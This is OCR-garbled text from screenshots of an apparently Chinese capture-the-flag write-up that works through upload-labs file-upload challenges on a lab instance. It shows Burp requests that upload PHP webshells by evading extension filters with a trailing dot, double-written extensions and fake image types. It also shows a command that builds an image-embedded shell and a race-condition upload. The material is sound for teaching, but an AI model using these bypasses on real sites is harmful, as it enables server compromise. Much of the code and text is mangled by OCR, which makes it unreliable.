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PHP Version 7.2.21 F'JhP

System Linux 688e3b52ccl8 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30 12:21:09 UTC
2020 x86_64

Build Date Aug 2 2019 06:44:48

Configure Command "./configure’ '-build=x86_64-linux-gnu' "--with-config-file-path=/usr/localfetc/php’ '-with-config-file-

scan-dir=/usr/local/etc/php/conf.d' '--enable-option-checking=fatal' '-with-mhash' '—enable-ftp' -
enable-mbstring’ '--enable-mysqind' *--with-password-argon2' "--with-sodium=shared’ *--with-curl" '--
with-libedit' --with-openss|' "—-with-zlib' --with-libdir=lib/x86_64-linux-gnu' '--with-apxs2' '--disable-
cgi' 'build_alias=x86_64-linux-gnu’

Server APl Apache 2.0 Handler

Virtual Directory Support disabled

Configuration File (php.ini) Path Jusrflocalfetc/php

Loaded Configuration File Jusrflocal/etc/php/php.ini

Scan this dir for additional .ini files fusrflocal/ete/php/conf.d

Additional .ini files parsed (usrflocalfetc/php/conf.d/docker-php-ext-exif.ini, fusr/local/etc/php/conf.d/docker-php-ext-gd.ini,
Jusr{local/ete/php/conf.d/dockerphp-ext-sedium.ini, fusr/local/etc/php/conf.d/php.ini

PHP API 20170718

PHP Extension 20170718

Zend Extension 320170718
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=div id="1imglz

<img sra=". . upload/testlzl . .php."

wifth="

<fdiv=
=fli=
<liid="show_code"=
=h3=
fL5g
=/h3=
<pres
=code class="line-numbers Language-php"=
$is_upload= false;
gmsg=null;
if (isset($_POST[ 'submit'])) {
if (file_exists(UPLOAD_PATH] ) {
$deny_ext=array(".php",".php5", " php?
$file_name=trim($_FILES[ 'upload_file'
$file_ext =strrchri$file_name, '.'):
$file_ext st'"l'olr}-' FE$'F le 't1 i
$file ext i ) 1rep{a’aert 17%.; n’ et .

AN, AT 5 IS 2 SR AR B AN A I A 25 44

EfEE

t/h3=
59 «form enctype="multipart/form-data" method="post" onsubmit="r
B0 =p=

WERELERNER  <p-
[0 =input class="input_Tfile" type="file" name="upload_file
62 <input class="button" type="submit" name="submit" value=
63 =/form=
64 <div id="msg"=
65 =fdiv=
(1] <div id="1img"=
&7 =img src=". . fupload/202110110837408078. php: : $data" widi
=fdiv=

58 =/li=
69 ¢fol=
TOliv=
71
T2 =
73 id="footer"= CS conlinliaZnono
T4 inters -oUIN @0fiujiecno 5



8d58ceff-eae0-40e3-8a12- X  #% New Tab

= ¢ o 0 A buuoj.cn
Kali Linux Kali Training Kali Tools = Kali 5 Kali Forums NetHunter [| Offensive Security Exploit-DB GHDB ]| MSFU
<?php
phpinfo();
7>
CSDN @ojiujieZhong
*%

PASS-09 =i 7 i Gt

KRB B SR, EWREMRER | — KRB A AR kT

m Cance | < |v | Target: http://b2706841-.
a- -

Request Response

F‘rott-,-'m n Actions Raw Render in  Actions

ge/WEDR, T/ T Og=u. T

(=] S =" n
S Accept-Language: en-US,en:g=0.5 ;} {di\'llj upload_panel">
& Accept-Encoding: gzip, deflate o D:l'::
7 Content-Type: multipart/form-data; ;:1 il .
boundary=--------ccmmmmmm e 180525219198365788226 - 1152
76029685 </ 3’;
& Content-Length: 376 . <|:|;
- S 55
= Origin: ) FiE—A<code>
http://b2706841 - 489f - 4a28- 90e3-940a2c7224b7 . noded . buuoj . webshall
n:g8l
10 Connection: close gﬁ;ifl;;
11 Referer: “fp= TR
http://b2706841 - 489f - 4a28-90e3-940a2c7224b7 . noded ., buuoj . c e < li
n:8l/Pass-09/index phpfaction=show_code ;3 <1'i
12 Upgrade-Insecure-Requests: 1 :’ ihs:»
13 -
I e 1805252191983697882267602968 qfﬁ:sfflz
5 .
LG _n _ " —n -
15 Content -Disposition: form-dafa; name="upload_file"; ;_E; ='Fi|::enctype multipart/form-data” method="pos
=l

filgname="testlzl . php. I

. -
16 Contlent-Type: application/x-php WERELENES : <p>

17 &1 =input class="input_file" type="file" nam
i . .
13 <7ph 62 <input class="button" type="submit" name=
. .l-'upisfotj ) 63 =/form=
20 E-sp ' 64 =divid="msg"=
:1 - 65 <fdive>
- 66 <divid="img">
22 . 1805252191983697882267602968 &7 Sngsre=" . JurTosd/TestT=T php . w11th=
23 Content-Disposition: form-data; name="submit" < dive
24 -
25 b &8 =/li=
. 59 =liid="show code"=
. < 1805252191 98369788226 7602968 - e -
5-- ! .
o7 £&
@{f}} |i||2| Se: 0 matches @{5} |E”2| Search... P _! ] %}_matches
- SUTNTIeLnong
Dane -
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27

LT N R LT R

Accept-Language: en-US, en;g=0.5

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data;

boundary=-------ccmmm e 188390038332257464253
20852331

Content-Length: 376

Origin:

http://b2706841 - 489T - 4a28-90e3-940a2c7224b7 . noded  buuoj . c
n: a8l

Connection: close

Referer:
http://b2706841-489f-4a28-90e3-940a2c7224b7 . noded ., buuoj . c
n:8l/Pass-10/index . phpfaction=show_code

Upgrade-Insecure-Requests: 1

----------------------------- 158839003833225745042532085233
1

Conteng-Disposition: form-datgd; name="upload_file";

filenape="testlzl.pphphp"
Conteng -Type: application/x-p p|

=Fphp
phpinfall;
P

----------------------------- 1883900383322574642532085233

Content-Disposition: form-data; name="submit"

----------------------------- 188390038332257464 2532085233
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M2 tF: phphitd/NF5.3.4, phpHimagic_quotes gpcHOFFIRZS

55

=12
57
58

&0

&1
62
83
&4
65
=133
&7

&8
89
70

71

72

73
74

=p=
FiE—A<code>
webshell
=/code=
FIE e,
=/p=
=fli=
<li=
=h3=
EfEE
=/h3=
=formenctype="multipart/form-data" method="po
{p}
ERE LSRR - <p=
<input class="input_file" type="file" nar
<input class="button" type="submit" name=
=/form=
<div id="msg"=
<fdiv=
=div Hd="1img"=
=imp src="../upload/testlzl. php" width="

<fdiv
=/1i=
<liid="show_code"=
<h3=
155
=/h3=
<pres
=code class="1line-numbers language-php"=
$is_upload= false:;

$msg=nulTo 1y @e i lie7 ] .
iﬁs[gissneu‘t E?Jgéy[ ""%Uurgllllilflji TJJ: 10 rl’E"

Php

System Linux a5bf206f9097 4.19.164-0419164-generic #202012300642 SMP Wed Dec 30 12:21:09 UTC 2020
XB86_64
Build Date Aug 2 2019 06:44:48

Configure Command

" Jeconfigure' '—build=x86_64-linux-gnu' -with-config-file-path=fusr/localfetc/php' '--with-config-file-
scan-dir=fusrflocalfetc/php/conf.d’ '--enable-option-checking=fatal' '-with-mhash' '--enable-ftp' '--
enable-mbstring’ '--enable-mysgind' --with-password-argon2' '--with-sodium=shared' '--with-curl® '--
with-libedit' '--with-openss|' "--with-zlib' "--with-libdir=Ilib/x86_64-linux-gnu' '--with-apxs2' '--disable-
cgi' "build_alias=x86_64-linux-gnu’

Server APl Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path fusrflocalfetc/php

Loaded Cenfiguration File

Jusrflecalfetc/php/php.ini

Scan this dir for additional .ini files

Jusrflocalfetc/php/conf.d

Additional .ini files parsed

X HLF AN BE A %0007 T

*%
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fusrflocalfetc/php/conf.d/docker-php-ext-exif.ini, .Fusrllocalletc.l’php{conf.dlrﬁadig i hf- g ',_L— !
{usrflocalfetc/php/conf.df/docker-php-ext-sodium.ini, fusr/loc al,‘etcfphp,‘confd?ﬁ%rl Jlin ?_fr_"jfjﬂ jiJ r‘ Znor

—oa
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h* .Jupload/

Lphp ---oo--
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1
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81 Content-Disp
ositien: form-da

ta; name="upload
_file"; filename
="testlzljpg"
Content-Type:im
ageljpeg <?ph

p phpinfol); 1>

2702546B853907894

FTOLCEm OBIELA
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1-- -
---2702546853907
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_file"; filename
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copy 1.jpg /b + testlzl.php /a shell.jpg

b2706841 - 489f - 4a28- 90e 3- 940a2c7224b7 . noded ., buuoj . cn: 81

| User-Agent: Mozilla/5.0 (X11; Linux xB6_84; rv:78,0]
Gecko,/20100101 Firefox/78.0

- Accept:
text/himl,application/xhtml+xml,application/xml;g=0.9,1
mage / webp, *¥/*;q=0.8

. Accept-Language: en-US,en;g=0.5

| Accept-Encoding: gzip, deflate

" Content-Type: multipart/form-data;
boundary=------ccmm i 1665424373487307320
3263682822

| Content-Length: 734814

I Origin:
http://b2706841 - 489F - 4a28-90e3- 940a2c7224b7 . noded . buuoj
Lcnt 8l

I Connection: close
Referer:
http://b2706841 - 489F - 4a28-90e3- 940a2c7224b7 . noded . buuoj
.cn:8l/Pass-13/index. php

' Upgrade-Insecure-Reguests: 1

g 16654243734873073203263682
822

« Content-Disposition: form-data; name="upload_file";
filename="shell.jpg"

| Comtent-Type: image/jpeg

| §ByaIFTFE " lc
ylUc  jAs"yA

RO AME Y AT #R ADRIAE Sk
Py

</h3=>

=formenctype="multipart/form-data" method="post

=p=

WERELANER  <p=

=input class="1input_file" type="file" name:
<input class="button" type="submit" name="
=/form:

=

<div id="msg"=

=fdiv=

<div 1
=img)

=TT
srec=",

 fupload/7520211012065805. jpg"

=/div:
<f1li=
=fol=
<fdiv=

<fdiv=

=div id="footer

<center:=

Copyright&nbsp; @&nbsp;=span id="copyright_time"
&nbsp;by&nbsp;<a href="http://gv7 me" target="_¢

=fcenter=
<fdiv=

"=

=div class="mask"=

<fdive=

=div class="dialog"=
<div class="dialog-title"=

##&nbsp; T=a href="javascript:void{ @) " class="cl«

<fdiv=

=div class="dialog-content™s [
L L

FLEVT IR B FEANBAE IR S PHP AT, [R G d 75 SR F SO 2 U R
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imagecreatetruecolor(

< sizeof($p)

]
+1]
+2]

imagecolorallocate(

imagesetpixel( round (

imagepng(
CSDN @oliujieZhong

BT AGRE IR IE QR

*%

PASS-17 2 5 4

RS FAMTES SR BRI S, R HIMSC RS R EA A B, RN E G4, SN, ERAT A
1.php R F5 BAEE MR Z 5T U7 M BIAT, 7] LA A burpfintruderts AN T A%, SR F5 FRATTA W I U7 10 Rl 8 12 b k- B T



FORLEILIL  WRYS ST

M Target T Positions IPaonads TOptions ]

Filter: Showing all items t
Request 4 Payload |Status | Emor | Timeout | Length |Comment
0 200 ] [] 4874

1 1 200 O [] 4874

2 2 200 O O 4874

3 3 200 O O 4874

4 4 200 0 (] 4874

5 5 200 O [] 4874

6 6 200 O O 4874

7 7 200 O O 4874

8 8 200 | O 4874

9 9 200 O] O 4874

M Response ]

Params | Headers | Hex

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryEzeuBQvABVEPJMxE
User-Agent: Mozilla/s.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/s37.36
Accept: text/html application/xhtml+xml application/xml;q=0.9 image/webp image/apng,**;q=0.8 application/signed-exchange;v=h3
Referer: hitp://192.168.137 .52/upload/Pass-17/index. php?action=show_code
Accept-Language: zhen-US;g=0.9 en;q=0.8,am;q=0.7 ,zh-CN;q=0.6

Cookie: SL_G_WPT_TO=zh, SL_GWPT_Show_Hide_tmp=1; SL_wptGlobTipTmp=1

; CSDMN @oliujieZhong
Connection: close - @o)iuj &

® 192.168.137.52/upload/upload/1.php B -9 4% Qa=s
System Windows NT 1-PC 6.1 build 7601
Build Date Jan 6 2011 17:26:08
Configure cscript /nologo configure.js "--enable-snapshot-build" *--enable-debug-pack" "--
Command with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template" "--with-php-

build=d:\php-sdk\snap_5_2\vc6\x86\php_build" "--with-pdo-oci=D:\php-
sdk\oracle\instantclient10\sdk,shared" "--with-oci8=D:\php-sdk\oracle
\instantclient10\sdk,shared" *--without-pi3web"

Server API Apache 2.4 Handler - Apache Lounge
Virtual Directory |enabled
Support

Cohibl@iclicliaZyg
CSDNl @glinliaZiong

Canfinuratian Cila | CAGAAdAue
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